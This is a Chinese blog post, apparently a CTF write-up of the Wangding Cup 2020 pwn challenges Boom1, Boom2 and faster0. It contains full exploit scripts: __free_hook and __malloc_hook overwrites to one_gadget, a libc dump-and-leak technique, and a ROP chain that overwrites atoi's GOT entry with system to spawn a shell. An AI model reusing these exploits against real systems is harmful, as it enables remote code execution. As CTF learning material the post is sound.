网鼎杯 第一场: pwn

兴致满满地开始比赛,骂骂咧咧地结束比赛,这个不给libc也太难受了。全程下来只做了一个Boom1,另外两个被队里TTX大哥做了。赛后看了下Boom2,也挺简单的,但是faster0是个AutoPwn,之前的De1CTF有个code runner应该也是类似的,暂且先记录一下大佬的wp,以后学习。

Boom1

题目描述

代码略长,花了点时间逆向之后发现,其实是一个VM pwn,接受类C代码,其实从binary开始分配各种text,symbol,stack等segment可以看出来点,那个sub_B70只是存一些保留字,解析8,16,10进制数,后面应该是命令分析相关的,没有深入分析了,大概的逻辑懂了就行。

利用思路

  1. 主要是利用分配的stack segment进行操作,因为malloc(0x40000),会通过mmap在ld的位置分配内存,所以在libc版本确定的情况下,它与libc的偏移是固定的。
  2. 由于本地试了很久没有找到正确版本的libc(不给libc简直无语),后面只能利用write把整个libc dump下来,方法简单来说就是手动采用类似二分法来找libc基址(标志头”\x7FELF”),找到之后直接用write(1, libc_base, xxxxxx);整个dump下来,然后通过查找相应的字符串得到版本信息,拉个ld本地调试就行。
    1
    strings libc | grep "GLIBC"
  3. 后续就比较简单了,通过定义局部变量,然后通过相对偏移找到_IO_list_all,拿到里面存的_IO_2_1_stderr_的地址,从而可以得到libc的基址。
  4. 同样通过相同偏移写__free_hooktem,然后free掉libc中存”/bin/sh”字符串的那块内存拿shell。

exp

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('182.92.73.10', 24573)

payload = "int main(){int a; *(&a - 180998) = *(&a - 181591) - 3953984 + 283536; free(*(&a - 181591) - 3953984 + 1625431);}"

p.sendlineafter("I'm living...\n",payload)

p.interactive()

Boom2

题目描述

其实跟Boom1感觉差不多,只不过不是接受输入高级语言,手撸binary中自定义的指令就行,指令格式也很简单,就是一个mem + reg的组织形式,利用方法与Boom1类似。

利用思路

  1. 通过VM stack在heap上且紧挨着ld,与libc偏移固定,完成任意读和任意写。
  2. 直接打__malloc_hook为onegadget我在本地没打通,所以用了realloc来调栈帧。
  3. 最后因为binary直接退出是无法触发__malloc_hook的,所以需要读libc的environ拿到栈地址,然后改return address为main地址(这个地址在栈上也有)。
  4. binary重新开始从main开始执行的时候,malloc调用__malloc_hook最后触发onegdaget。
  5. 这里code限制最长0x120,最后我的exp长度是刚好合适,一般来讲是足够用了。
  6. 然而只能本地打通,远程没打通,队里大哥的脚本直接打__malloc_hook为onegadget就通了(老倒霉蛋了),最后贴我自己的和队里大哥的脚本。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# my exp (cannot get the remote shell)
# write __malloc_hook ==> one_gadget
payload = p64(0) + p64(0xffffffffffddeb00 / 8) # get __malloc_hook address
payload += p64(13) # push to stack
payload += p64(0) + p64(0xffffffffffddeaf8 / 8) # get __realloc_hook address
payload += p64(13) # push to stack
payload += p64(0) + p64(0) # get heap address
payload += p64(13) # push to stack
payload += p64(1) + p64(0x4f4ec9) # get onegadget address offset
payload += p64(26) # get onegadget address
payload += p64(11) # write __malloc_hook to onegadget
payload += p64(13) # push onegadget address to stack
payload += p64(1) + p64(0x6ca87 - 4) # get __libc_realloc + 4 address offset (compared with onegadget)
payload += p64(26)
payload += p64(11) # write __libc_realloc to __malloc_hook

# write ret address
payload += p64(0) + p64(0) # get heap address
payload += p64(13) # push to stack
payload += p64(1) + p64(0x21f0d8) # get environ address offset
payload += p64(26) # get environ address
payload += p64(9) # get stack address
payload += p64(13) # push to stack
payload += p64(1) + p64(0xf0) # ret address offset
payload += p64(26) # get ret address
payload += p64(13) # push to stack
payload += p64(13) # push to stack twice
payload += p64(1) + p64(0x20) # offset to stack addres that store the main address
payload += p64(25) # get stack address that store the main address
payload += p64(9) # get main address
payload += p64(11) # write ret address to main address

print(hex(len(payload)))
p.send(payload)

# get the remote shell
# code = ""
# #step 1
# code += p64(17)
# code += p64(1) + p64(0xf0)
# code += p64(26)
# code += p64(13) #push base
# code += p64(9) #get base_addr
# code += p64(13)
# code += p64(1) + p64(0x202020 - 0xe50)
# code += p64(25) # get stdout_addr
# code += p64(9)
# code += p64(13) #push stdout
# code += p64(1) + p64( 0x3c5620 - 0x3c4b10 )
# #code += p64(1) + p64(0x3ec760 - 0x3ebc30)
# code += p64(26) #get __malloc_hook addr
# code += p64(13)
# code +=p64(13)
# #one = 0x45216
# #one = 0x4526a
# one = 0xf02a4
# #one = 0xf1147
# '''2.27'''
# #one = 0x4f2c5
# #one = 0x4f322
# #one = 0x10a38c
# code+= p64(1) + p64(0x3c4b10 - one)
# #code+= p64(1) + p64(0x3ebc30 - one)
# code += p64(26)
# code += p64(11) #set __malloc_hook addr to one

# #set ret addr = main
# code += p64(1) + p64(8)
# code += p64(25)
# code += p64(13) #get ret_addr
# code += p64(13)
# code += p64(1) + p64(8)
# code += p64(26)
# code += p64(9)
# code += p64(13)
# code += p64(1) + p64(0x530 + 0x920 - 0x989)
# code += p64(26)
# code += p64(11)

# code += p64(30) #end

# p.recvuntil("code>")
# p.send(code)

p.interactive()

faster0

题目描述

因为还没仔细看(看wp像是angr + rop),先贴个队里的wp,以后再来复现,学习一下。

利用思路

1.用angr解密码,大概花10s,题目有5分钟的时间,实际上还很多操作的时间,就分成两步来解

exp (angr_part.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import angr
import claripy
import sys
import multiprocessing
import time
from pwn import *
import hashlib, itertools, string, base64
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context(terminal = ['xfce4-terminal', '-x', 'zsh', '-c'])

token = "icqbd4092dd79915594a0db6985d85fd"
HOST, PORT = "39.96.72.181", 42732
p = remote(HOST, PORT)

def solver(val, name) :
alpha_set = string.printable
algorithm = getattr(hashlib, name)
for i in itertools.permutations(alpha_set, 4) :
s = ''.join(i)
if algorithm(s).hexdigest()[:20] == val :
return s
print("GG not found...")
return -11

p.recvuntil("x[:20] = ")
val = p.recv(20)
p.recvuntil("<built-in function openssl_")
name = p.recvuntil(">")[:-1]
print("{} & {}".format(val, name))
res = solver(val, name)

p.sendlineafter("> ", res)
p.sendlineafter("Please input your token: ", token)
p.recvuntil("Creating pwn file, please wait ...\n\n\n\n")
data = p.recvuntil("\n\n\n")[:-3]
bindump = base64.b64decode(data)

with open("recv.tar.gz", "wb") as f :
f.write(bindump)
os.system("tar -zxf recv.tar.gz -C ./chal")
os.system("upx -d chal/pwn*")
os.system("mv chal/pwn* ./pwn-chal")

p.recvuntil("Your docker run port [")
port = int(p.recvuntil("]")[:-1])

p.recvuntil("password is \"")
password = p.recvuntil("\"")[:-1]
p.close()

print("port: {}, password: {}".format(port, password))

'''
binary: ./pwn-chal
write analysis here...
write exp in payload
'''

elf = ELF("./pwn-chal")
load_segments = [x for x in elf.iter_segments() if x.header.p_type == 'PT_LOAD']
code_segment = load_segments[0]
code = elf.read(code_segment.header.p_paddr,code_segment.header.p_filesz)

sub = "\x55\x48\x89\xe5\x8b\x05"
func_list = []
index = code.find(sub)
while index != -1:
func_list.append(index+0x400000)
index = code.find(sub,index+1)


func_list.append(0x405ef7)
#for i in func_list:
# print hex(i)


def solve(q, i, start_address, success_address):
start = time.clock()
path_to_binary = './pwn-chal'
project = angr.Project(path_to_binary)
initial_state = project.factory.blank_state(addr=start_address+34)#,angr.options.unicorn])
simulation = project.factory.simulation_manager(initial_state)
#simulation.use_technique(angr.exploration_techniques.DFS())
res = simulation.explore(find=success_address)

if len(res.found) > 0:
solution = res.found[0].posix.dumps(0)
elapsed = (time.clock() - start)
print("Here used:",str(i), " ", elapsed," ",solution)
q.put(str(i)+' ' + solution)
else:
raise Exception('Could not find the solution')


q = multiprocessing.Queue()
for i in range(100):
p = multiprocessing.Process(target = solve, args = (q, i, func_list[i], func_list[i+1] ))
p.start()
#_thread.start_new_thread( solve, (func_list[i+1], func_list[i], ) )

count = 0
ans_list = []
for i in range(100):
ans_list.append(0)
while count != 100:
ans = q.get(True)
count = count + 1
ans_list[int(ans[:3])] = int(ans[3:])
ans = ''
for i in ans_list:
ans += str(i)


####connect to docker
p = remote(HOST, port)

p.sendlineafter("Please input your password: ", password)

payload = ans
p.sendline(payload)

#padding = 0x0
#rop_chain = "A" * padding + "BBBB"
pop_rsi_r15 = 0x0000000000406011
pop_rsp = 0x0000000000406620
pop_rdi = 0x0000000000406013
write = 0x400640
rop_chain = p64(pop_rsi_r15) + p64(0x00609048) + p64(0) + p64(pop_rdi) + p64(1) + p64(write) + p64(0x405ef7)
p.sendlineafter("WOW,U R GREAT !", rop_chain)

p.interactive()

exp (rop_part.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dydxh / AAA """
from pwn import *
import sys, os, re

context(arch = 'amd64', os = 'linux', log_level = 'debug')
context(terminal = ['xfce4-terminal', '-x', 'zsh', '-c'])

def _base(_name) :
_vmmap = open('/proc/%d/maps' % p.proc.pid).read()
_regex = '^.*r-xp.*{}.*$'.format(_name)
_line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
return int(_line.split('-')[0], 16)

def _text(_name, elf) :
return _base(_name) + elf.get_section_by_name(".text").header["sh_offset"]

def _setup_env() :
env = dict(os.environ)
if not elf.statically_linked :
target_ld = '/lib64/ld-linux-x86-64.so.2'
forged_ld = '/lib64/ld-linux-x86-64.so.9'
os.system('sudo ln -fs %s %s' % (target_ld, forged_ld))
env['LD_PRELOAD'] = _libc
return env

_proc = os.path.abspath('./pwn-chal')
_libc = os.path.abspath('./libc.so.6')
_pwn_remote = (sys.argv[1] == 'r') if len(sys.argv) > 1 else 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 and _pwn_remote == 0 else 0

libc = ELF(_libc)
elf = ELF(_proc)

def F() :
if _debug == 0 :
return
_source = "init\n"
if elf.pie :
_offset, _bps = _base(_proc), []
# _bps.append(0x123)
_source += '\n'.join(['b *{}'.format(hex(_offset + _)) for _ in _bps])
else :
_source += 'b *0x405F4B\n'
_source += 'b *0x405F44\n'
_source += 'source peda-session-pwn-patch.txt'
if os.path.exists('pwn-patch.dbg') :
_source = 'add-symbol-file pwn-patch.dbg -readnow {}\n'.format(hex(_text(_proc, elf))) + _source
gdb.attach(p, gdbscript=_source)

if _pwn_remote == 0 :
p = process(argv=[_proc], env=_setup_env())
else :
p = remote('39.96.72.181', 20641)


F()
password = "bb4a6af3-873a-45b3-8e62-3e787c50e7a7"
p.sendlineafter("Please input your password: ", password)

p.sendline("7039817158683274402289917413926034143571667795003373218412797531063016417633197047729195392035080799")

vuln_func = 0x405EF7
read_int = 0x400841
write_got = 0x609018
atoi_got = 0x609048
write_plt = 0x400640
read_plt = 0x400680
pop_rdi = 0x406013
pop_rsi_r15 = 0x406011

'''
0x0000000000406013 : pop rdi ; ret
0x0000000000406011 : pop rsi ; pop r15 ; ret
'''

payload = "A" * 0xd8
payload += flat([pop_rdi, 0x1, pop_rsi_r15, write_got, 0, write_plt, vuln_func])

p.sendlineafter("WOW,U R GREAT !\n", payload)

write_addr = u64(p.recv(8))
system_addr = write_addr - libc.symbols["write"] + libc.symbols["system"]
print("system addr: 0x{:x}".format(system_addr))
# system_addr = write_addr - 0x111300 + 0x554e0

sleep(1.0)
p.send("\n")

payload = "A" * 0xd8
payload += flat([pop_rdi, 0x0, pop_rsi_r15, atoi_got, 0, read_plt, read_int])

p.sendlineafter("WOW,U R GREAT !\n", payload)

sleep(1.0)
p.sendline(p64(system_addr))

sleep(1.0)
p.sendline("/bin/sh")

p.interactive()
#flag{ab43fc1f9375d099ad6d6b4430b25eab}

小结

第一次打网鼎,无力吐槽,出题稀烂不说,flag的py满天飞,卖flag的操作都有。最后队伍拿了第十,感觉自己没啥贡献,希望线下赛再好好打吧。

Author: Nop
Link: https://n0nop.com/2020/05/11/%E7%BD%91%E9%BC%8E%E6%9D%AF-%E7%AC%AC%E4%B8%80%E5%9C%BA-pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.